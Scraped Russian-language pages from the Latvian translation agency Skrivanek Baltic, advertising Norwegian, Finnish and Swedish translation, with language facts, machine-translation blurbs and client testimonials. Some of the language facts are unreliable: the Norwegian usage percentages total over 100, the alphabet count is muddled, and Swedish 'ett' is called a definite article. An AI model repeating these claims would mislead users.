СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА НОРВЕЖСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. ПЕРЕВОДЧИК С НОРВЕЖСКОГО НА ЛАТЫШСКИЙ В Латвии всё чаще норвежско латышский переводчик и латышско норвежский переводчик необходим, для перевода инструкции и руководства эксплуатации техники, юридических документов, а так же для переводах домашних страниц. Смело связывайтесь с нами, коллеги Skrivanek помогут Вам. ЛАТЫШСКО НОРВЕЖСКИЙ ПЕРЕВОДЧИК И ПЕРЕВОДЫ С ЛАТЫШСКОГО ЯЗЫКА НА ДРУГИЕ ЯЗЫКИ Как правило, наши клиенты зачастую заказывают нотариальные переводы документов: перевод паспорта, диплома, аттестата, водительских прав, свидетельства о рождении, свидетельства о заключении брака и др. Всегда актуальны переводы документов для обучения за рубежом, для лечения и реабилитации в зарубежных медицинских учреждениях (перевод выписки из истории болезни, аннотации к лекарственным препаратам, заключения врача), для ведения бизнеса с иностранными партнерами. НОРВЕЖСКО ЛАТЫШСКИЙ ПЕРЕВОДЧИК Норвежско латышский переводчик чаще всего необходим при переводе художественной литературы: перевод книг, журнальных статей, стихов, а так же художественных произведений. ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – норвежский; норвежский – латышский; эстонский – норвежский; норвежский – эстонский; литовский – норвежский; норвежский – литовский; русский – норвежский; норвежский – русский; польский – норвежский; норвежский – польский; английский – норвежский; норвежский – английский; украинский – норвежский; норвежский – украинский; немецкий – норвежский; норвежский – немецкий; французский – норвежский; норвежский – французский; испанский – норвежский; норвежский – испанский; итальянский – норвежский; норвежский – итальянский; датский – норвежский; норвежский – датский; шведский – норвежский, норвежский – шведский; финский – норвежский, норвежский – финский и др. ФАКТЫ О НОРВЕЖСКОМ ЯЗЫКЕ Норвежский язык принадлежит к северогерманской подгруппе германской группы индоевропейской языковой семьи. В мире насчитывается около 5 миллионов носителей норвежского языка — в США, Канаде и Норвегии. В последней он имеет статус официального государственного языка. Кроме того, норвежский является одним из рабочих языков Северного совета. В современном норвежском наблюдается сильное влияние со стороны соседних языков. В древние времена на него оказывал влияние нижненемецкий язык, позднее — шведский, а начиная со Средневековья и вплоть до самого краха Кальмарской унии в 1524 году доминирующее влияние оказывал датский язык. Северные языки — норвежский, шведский и датский — являются родственными и похожи друг на друга. Это объясняется периодическим изменением государственных границ, типичным для скандинавской истории. Древнейшие памятники в виде рунического письма относятся к X–XI веку. Если в других странах издание религиозных текстов продвигало развитие государственного языка, то в Норвегии литургическая литература усиливала влияние датского языка, поскольку Библия издавалась именно на нем. С XIX века существуют две письменные формы норвежского языка: букмол (bokmål), основанный на лексике и грамматике датского языка и фонетике норвежского языка, и так называемый новонорвежский язык (nynorsk), который возник в середине XIX века и представляет собой синтез норвежских диалектов. Новонорвежская форма письма (nynorsk) была создана языковедом Иваром Осеном в 50-е годы XIX века. Лингвисты на протяжении нескольких десятилетий пытались объединить эти письменные формы, но их попытки не обвенчались успехом. Проведенный в 2005 году опрос показал, что 86,3 % норвежцев в качестве ежедневного письменного языка используют преимущественно букмол, 5,5 % — обе письменные формы, а 13 % — так называемую новонорвежскую форму, в то время как в разговорной речи норвежцы обычно используют диалекты, которые больше похожи на новонорвежский язык. В 92 % случаев публикации издаются на букмоле, и, соответственно, только 8 % печатных изданий выпускается в новонорвежской форме. Букмол более распространен в Осло и других крупных городах, в свою очередь, новонорвежский язык в основном используется в западной части страны. Для норвежского языка характерно большое количество диалектов, которые формировались под влиянием географических условий страны: густые леса, фьорды и горы препятствовали частому общению между жителями изолированных общин. В современном норвежском языке много заимствований из английского, в основном это лексика, связанная с экономикой и техникой. Английский как первый иностранный язык преподается в норвежских школах с 1935 года. Влияние этого языка значительно возросло после Второй мировой войны. Больше всего заимствований наблюдается в сфере экономики, финансов и предпринимательства. Также образуются сложные гибридные лексемы, первую часть которых образует слово английского происхождения, а вторую — норвежского. Предполагается, что вплоть до 90 % неологизмов в современном норвежском формируется под влиянием английского языка. Структура предложения в норвежском языке строго организована: каждый член предложения стоит на своем месте. Существительные имеют только два падежа, а глаголы не имеют форм лица. В языке используются артикли. Норвежский алфавит аналогичен датскому: 23 буквы латинского алфавита, а также J, W, U, Æ, Ø и Å, итого 29 графем. Код языка согласно ISO 639-1: no ОНЛАЙН ПЕРЕВОДЧИК Онлайн переводчик позволяет мгновенно переводить слова, фразы и веб-страницы с различных языков на различные языки. ИСТОРИЯ Делая возможным межъязыковое общение людей, перевод с самого начала выполнял важнейшую социальную функцию. Распространение письменных переводов открыло людям широкий доступ к культурным достижениям других народов, сделало возможным взаимодействие и взаимообогащение литератур и культур. Всего несколько лет спустя после рождения компьютера появились первые программы Машинного перевода. Датой рождения МП принято считать 1947 г. Развитию машинного перевода мешал низкий уровень вычислительной техники, и её очень высокая стоимость. Постепенное проникновение в нашу жизнь сначала персональных компьютеров, а затем и интернета, привело к стремительному развитию этой отрасли. Сегодня машинный перевод активно используется в самых разных сферах человеческой деятельности. Благодаря массовой информации роль перевода в жизни человечества неуклонно возрастает. Переводческие связи сегодня охватывают почти все сферы человеческой деятельности. Движение информационных потоков не знает ни времени, ни границ. ПЛЮСЫ И МИНУСЫ МАШИННОГО ПЕРЕВОДА Онлайн переводчики могут быть полезными при изучении языка, например для понимания общего содержания предложения, или небольшого текста, однако пользоваться ими необходимо осторожно. Главным преимуществом машинного перевода, в сравнении с обычным переводом, является то, что он выполняется компьютером и следовательно, быстрее, чем с помощью человека. Таким образом, экономится время при переводе больших объемов. В основе машинного перевода – систематические правила, и поэтому иногда при таком переводе невозможно избежать неточностей. При использовании автоматизированного перевода не всегда получаются переводы идеального качества, но для получения основного содержания или создания первичного наброска перевода он может оказаться очень выгодным и экономным. Некоторые языки еще требуют доработки. ЧТО ТАКОЕ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик — это сервис, переводящий слова с одного языка на другой и обратно. Основная задача онлайн переводчиков — быстрый и точный перевод искомого слова или фразы. Онлайн-переводчик можно назвать одними из самых популярных сервисов нашего века. Каждый житель планеты используя онлайн переводчик, в среднем переводит по пять слов в день. Онлайн переводчик является комплексным решением в вопросах перевода и поиска словарных значений слов, а также каждодневным ненавязчивым инструментом в вашей работе или учебе. ЧТО ДЕЛАЕТ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик делает всё для того, чтобы все языки мира стали более понятными, а способы получения перевода – легкими и простыми. Благодаря онлайн переводчику любой человек может перевести текст на любой язык за считанные минуты, имея под рукой электронное устройство и интернет соединение. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы с/на финский язык более чем с 300 языков: письменные и устные переводы, локализация и другие услуги. Свяжитесь с нами! - Published: 2017-12-27 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/ - Translation Priorities: Optional НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ФИНСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. ПЕРЕВОДЧИК С ФИНСКОГО НА ЛАТЫШСКИЙ В Латвии чаще всего финско латышский переводчик и латышско финский переводчик необходим, для перевода медицинских документов, таких как выписка из истории болезней, инструкции к технике, аннотации к медицинским препаратам. Так же популярны переводы юридических и экономических документов (постановления, решения судов, банковские выписки, счета, бухгалтерские отчётности). Смело связывайтесь с нами, коллеги Skrivanek помогут Вам. ЛАТЫШСКО ФИНСКИЙ ПЕРЕВОДЧИК И ПЕРЕВОДЫ С ЛАТЫШСКОГО ЯЗЫКА НА ДРУГИЕ ЯЗЫКИ. Перевод документов на финский язык может понадобиться для посещения страны. В качестве цели посещения рассматривают работу, учебу, открытие собственного бизнеса, а так же прохождение медицинских процедур. ФИНСКО ЛАТЫШСКИЙ ПЕРЕВОДЧИК Финско латышский переводчик чаще всего необходим при переводе аттестатов, дипломов, паспортов, медсправок и историй болезней. Хоть и не частно, но иногда выполняем литературные переводы с финского на латышский язык, переводя стихи, рассказы или статьи. ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – финский; финский – латышский; эстонский – финский; финский – эстонский; литовский – финский; финский – литовский; русский – финский; финский – русский; польский – финский; финский – польский; английский – финский; финский – английский; украинский – финский; финский – украинский; немецкий – финский; финский – немецкий; французский – финский; финский – французский; испанский – финский; финский – испанский; итальянский – финский; финский – итальянский; датский – финский; финский – датский; шведский – финский, финский – шведский; норвежский – финский; финский – норвежский и др. ФАКТЫ О ФИНСКОМ ЯЗЫКЕ Финский язык принадлежит к прибалтийско-финской группе финно-угорской языковой семьи. Это государственный язык Финляндии и один из официальных языков Европейского союза. Кроме того, в Швеции финский является языком национального меньшинства. В мире насчитывается около 5,23 миллиона носителей финского языка, проживающих в США, Эстонии, России, Норвегии, Финляндии и Швеции. Финский язык имеет родственные связи с эстонским и ливским. Он включает в себя две группы говоров —западные и восточные, — которые подразделяются на семь подгрупп. В основе финского литературного языка лежит западный диалект. Развитие финского языка было подчинено истории Финляндии. Начиная с XIII века и вплоть до 1809 года, когда нынешняя территория страны еще входила в состав Королевства Швеция, наблюдалось сильное влияние шведского языка, а в те времена, когда территория была частью Российской империи, финский язык пережил наплыв русизмов. После пробуждения финского народа, особенно в 20–40-е годы XIX века, произошел расцвет финской литературы: была написана первая книга по грамматике финского языка, составлены первые словари и основано Финское литературное общество. Статус государственного языка был присвоен финскому в 1863 году, но, например, продавцы вплоть до начала XX века обращались к покупателям на шведском. Древнейшие памятники письменности — рукописи — датируются XIII веком. Первая печатная книга была издана в 1543 году — это была «Азбука», составленная М. Агриколой. До середины XIX века в основном издавались книги религиозного содержания. В финском наблюдается широкое использование разговорного языка, особенно распространен так называемый столичный сленг (stadin slangi). Любопытно, что на этом сленге говорит не только молодежь, но и пожилые люди. На развитие сленга влияет принцип лингвистической экономии — тенденция сокращать слова. При этом короткие формы слов используются как в разговорной речи, так и в письменном языке. Можно отметить тенденцию к доминированию разговорного языка — он преобладает над литературным. Сленговые слова зачастую используют даже преподаватели на лекциях. Литературный язык используется в сфере образования (например, в официальных выступлениях), в средствах массовой информации и в государственном управлении. Финский алфавит создан на базе латинского. Произношение и написание слов довольно схожи: как правило, каждой букве соответствует один звук. Все гласные могут быть как краткими, так и долгими, при этом все согласные за исключением d, v и j также можно произносить растянуто. Продолговатые звуки на письме обозначаются удвоенной буквой. Основное ударение всегда падает на первый слог; этот же принцип финны соблюдают в словах иностранного происхождения. Предложения, даже вопросительные, обычно имеют нисходящую, а не восходящую интонацию. Для финского характерно частое употребление гласных звуков и дифтонгов, общее число которых составляет 16. Язык имеет богатую падежную систему (15 падежей), однако в нем нет категории рода, залога и артиклей. В финском языке существует только одно склонение. Принадлежность выражается не притяжательными местоимениями, а особенными суффиксами, обозначающими принадлежность. Глаголы имеют только одно спряжение. В финском много заимствований из балтийских, германских и славянских языков. Хотя кажется, что финны не хотят использовать иностранную лексику и вместо многих интернационализмов создают собственные слова, в современном финском языке много англицизмов и американизмов. Ученые объясняют эту тенденцию большим интересом молодых людей к американской поп-культуре. Код языка согласно ISO 639-1: fi ОНЛАЙН ПЕРЕВОДЧИК Онлайн переводчик позволяет мгновенно переводить слова, фразы и веб-страницы с различных языков на различные языки. ИСТОРИЯ Делая возможным межъязыковое общение людей, перевод с самого начала выполнял важнейшую социальную функцию. Распространение письменных переводов открыло людям широкий доступ к культурным достижениям других народов, сделало возможным взаимодействие и взаимообогащение литератур и культур. Всего несколько лет спустя после рождения компьютера появились первые программы Машинного перевода. Датой рождения МП принято считать 1947 г. Развитию машинного перевода мешал низкий уровень вычислительной техники, и её очень высокая стоимость. Постепенное проникновение в нашу жизнь сначала персональных компьютеров, а затем и интернета, привело к стремительному развитию этой отрасли. Сегодня машинный перевод активно используется в самых разных сферах человеческой деятельности. Благодаря массовой информации роль перевода в жизни человечества неуклонно возрастает. Переводческие связи сегодня охватывают почти все сферы человеческой деятельности. Движение информационных потоков не знает ни времени, ни границ. ПЛЮСЫ И МИНУСЫ МАШИННОГО ПЕРЕВОДА Онлайн переводчики могут быть полезными при изучении языка, например для понимания общего содержания предложения, или небольшого текста, однако пользоваться ими необходимо осторожно. Главным преимуществом машинного перевода, в сравнении с обычным переводом, является то, что он выполняется компьютером и следовательно, быстрее, чем с помощью человека. Таким образом, экономится время при переводе больших объемов. В основе машинного перевода – систематические правила, и поэтому иногда при таком переводе невозможно избежать неточностей. При использовании автоматизированного перевода не всегда получаются переводы идеального качества, но для получения основного содержания или создания первичного наброска перевода он может оказаться очень выгодным и экономным. Некоторые языки еще требуют доработки. ЧТО ТАКОЕ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик — это сервис, переводящий слова с одного языка на другой и обратно. Основная задача онлайн переводчиков — быстрый и точный перевод искомого слова или фразы. Онлайн-переводчик можно назвать одними из самых популярных сервисов нашего века. Каждый житель планеты используя онлайн переводчик, в среднем переводит по пять слов в день. Онлайн переводчик является комплексным решением в вопросах перевода и поиска словарных значений слов, а также каждодневным ненавязчивым инструментом в вашей работе или учебе. ЧТО ДЕЛАЕТ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик делает всё для того, чтобы все языки мира стали более понятными, а способы получения перевода – легкими и простыми. Благодаря онлайн переводчику любой человек может перевести текст на любой язык за считанные минуты, имея под рукой электронное устройство и интернет соединение. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Профессиональные переводы на шведский язык: письменные и устные переводы, локализация и другое. Получите бесплатный расчет стоимости! - Published: 2017-12-27 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ШВЕДСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. ПЕРЕВОДЧИК СО ШВЕДСКОГО НА ЛАТЫШСКИЙ В Латвии преимущественно шведско латышский переводчик и латышско шведский переводчик необходим, для перевода экономических и юридических документов, таких как банковские документы, бухгалтерские отчеты, таможенные декларации. Смело связывайтесь с нами, коллеги Skrivanek помогут Вам. ЛАТЫШСКО ШВЕДСКИЙ ПЕРЕВОДЧИК И ПЕРЕВОДЫ С ЛАТЫШСКОГО ЯЗЫКА НА ДРУГИЕ ЯЗЫКИ Обычно наши клиенты заказывают переводы документов на шведский язык для участия в различных тендерах, аукционах, для заключения сделок и контрактов, а так же для привлечения иностранных партнёров. ШВЕДСКО ЛАТЫШСКИЙ ПЕРЕВОДЧИК Шведско латышский переводчик зачастую необходим при переводе документов о покупке недвижимости, при переводе художественной литературы, а так же для переводов специализированных рекламных материалов. ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – шведский; шведский – латышский; эстонский – шведский; шведский – эстонский; литовский – шведский; шведский – литовский; русский – шведский; шведский – русский; польский – шведский; шведский – польский; английский – шведский; шведский – английский; украинский – шведский; шведский – украинский; немецкий – шведский; шведский – немецкий; французский – шведский; шведский – французский; испанский – шведский; шведский – испанский; итальянский – шведский; шведский – итальянский; датский – шведский; шведский – датский; норвежский – шведский; шведский – норвежский; шведский – финский, финский – шведский, греческий – шведский. шведский – греческий и др. ФАКТЫ О ШВЕДСКОМ ЯЗЫКЕ Шведский язык принадлежит к северогерманской подгруппе германской группы индоевропейской языковой семьи. Это «родственник» норвежского, датского и исландского языков: ближе всего к датскому, дальше всего от норвежского. На шведском языке говорят около 10 миллионов человек; он является официальным государственным языком Швеции и вторым государственным языком Финляндии, а также одним из официальных языков Европейского союза и Северного совета. В Швеции проживает около 9,4 миллиона носителей шведского языка, в Финляндии — 290 000, в США — 70 000, в Испании — 40 000, в Великобритании — 30 000, в Канаде — 20 000. По количеству носителей шведский является самым крупным из скандинавских языков. Поскольку в ходе своего развития все скандинавские языки подверглись влиянию нижненемецкого языка, шведы, финны и норвежцы могут понимать друг друга. Считается, что около 30−40 % слов, которые встречаются в скандинавских языках, заимствовано из нижненемецкого: сходства наблюдаются как в лексике, так и в грамматике. Шведский происходит от древнескандинавского языка, на котором некогда, в эпоху викингов, разговаривали германские племена. Приблизительно в VIII веке от него стали отделяться различные региональные формы, которые к XI веку переросли в четыре диалекта и впоследствии стали нынешними северогерманскими языками: исландским, норвежским, датским и шведским. В шведском языке очень много заимствований: древнейшие из них восходят к латинскому, греческому, нижненемецкому и верхненемецкому, новейшие — к французскому и английскому. Самой древней формой шведской письменности является руническое письмо, которым украшены исторические памятники, сохранившиеся с VIII века. В X–XI веке, с распространением христианства и религиозной литературы, в Швеции начала широко использоваться латынь. Наиболее ценные свидетельства шведской письменности датированы XIII веком, когда в шведском письменном языке стали использоваться латинские буквы. Самыми значимыми письменными памятниками на шведском языке, сохранившимися с начала XIV века, являются исторические хроники. Образованию шведского литературного языка поспособствовал перевод Библии с латинского на шведский, изданный в XVI веке. Литературный язык, сформированный в XVII веке, имеет два варианта — rikksvenska (в Швеции) и finlandssvenska (в Финляндии). В основе литературного шведского языка лежат свейские диалекты. Первая печатная книга на шведском языке была издана в 1495 году, первая книга по грамматике шведского языка — в 1684 году (на латыни). Основные группы диалектов: южношведские, гетские, свейские, норрландские, восточношведские и готландские. Помимо 26 букв латинского алфавита (A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z), которые являются основой шведской орфографии, используются буквы Å, Ä, Ö, реже — Ü, À, É. Шведский — довольно сложный язык как в плане грамматики, так и в плане произношения. Часто предложения заканчиваются восходящей интонацией. Своеобразное звучание определяется двумя видами интонации: динамической и тонической. Тоническая интонация слышна в двусложных и многосложных словах, в которых на один слог ставится основное, а на другой — вспомогательное ударение. В таких словах интонация сначала ниспадает, а затем восходит и снова ниспадает, придавая речь музыкальность. Ударные слоги в шведском языке всегда произносятся длинно, а безударные — кратко. Длинно можно произнести не только гласные, но и удвоенные согласные, а также ряд согласных. В шведском языке существительные имеют два рода — общий и средний; значительная часть существительных принадлежит к среднему роду. На принадлежность к общему роду указывает неопределенный артикль en, а на принадлежность к среднему роду — определенный артикль ett. Любопытно, что в шведском языке существительное имеет две формы — определенную и неопределенную. Прилагательное согласуется с существительным по роду и числу, т. е. выбор окончания зависит от существительного, с которым оно связано. В шведском языке, как и в латышском, есть два вида союзов — сочинительные и подчинительные. Порядок слов в предложениях строго определен. Код языка согласно ISO 639-1: sv ОНЛАЙН ПЕРЕВОДЧИК Онлайн переводчик позволяет мгновенно переводить слова, фразы и веб-страницы с различных языков на различные языки. ИСТОРИЯ Делая возможным межъязыковое общение людей, перевод с самого начала выполнял важнейшую социальную функцию. Распространение письменных переводов открыло людям широкий доступ к культурным достижениям других народов, сделало возможным взаимодействие и взаимообогащение литератур и культур. Всего несколько лет спустя после рождения компьютера появились первые программы Машинного перевода. Датой рождения МП принято считать 1947 г. Развитию машинного перевода мешал низкий уровень вычислительной техники, и её очень высокая стоимость. Постепенное проникновение в нашу жизнь сначала персональных компьютеров, а затем и интернета, привело к стремительному развитию этой отрасли. Сегодня машинный перевод активно используется в самых разных сферах человеческой деятельности. Благодаря массовой информации роль перевода в жизни человечества неуклонно возрастает. Переводческие связи сегодня охватывают почти все сферы человеческой деятельности. Движение информационных потоков не знает ни времени, ни границ. ПЛЮСЫ И МИНУСЫ МАШИННОГО ПЕРЕВОДА Онлайн переводчики могут быть полезными при изучении языка, например для понимания общего содержания предложения, или небольшого текста, однако пользоваться ими необходимо осторожно. Главным преимуществом машинного перевода, в сравнении с обычным переводом, является то, что он выполняется компьютером и следовательно, быстрее, чем с помощью человека. Таким образом, экономится время при переводе больших объемов. В основе машинного перевода – систематические правила, и поэтому иногда при таком переводе невозможно избежать неточностей. При использовании автоматизированного перевода не всегда получаются переводы идеального качества, но для получения основного содержания или создания первичного наброска перевода он может оказаться очень выгодным и экономным. Некоторые языки еще требуют доработки. ЧТО ТАКОЕ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик — это сервис, переводящий слова с одного языка на другой и обратно. Основная задача онлайн переводчиков — быстрый и точный перевод искомого слова или фразы. Онлайн переводчик можно назвать одними из самых популярных сервисов нашего века. Каждый житель планеты используя онлайн переводчик, в среднем переводит по пять слов в день. Онлайн переводчик является комплексным решением в вопросах перевода и поиска словарных значений слов, а также каждодневным ненавязчивым инструментом в вашей работе или учебе. ЧТО ДЕЛАЕТ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик делает всё для того, чтобы все языки мира стали более понятными, а способы получения перевода – легкими и простыми. Благодаря онлайн переводчику любой человек может перевести текст на любой язык за считанные минуты, имея под рукой электронное устройство и интернет соединение. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы 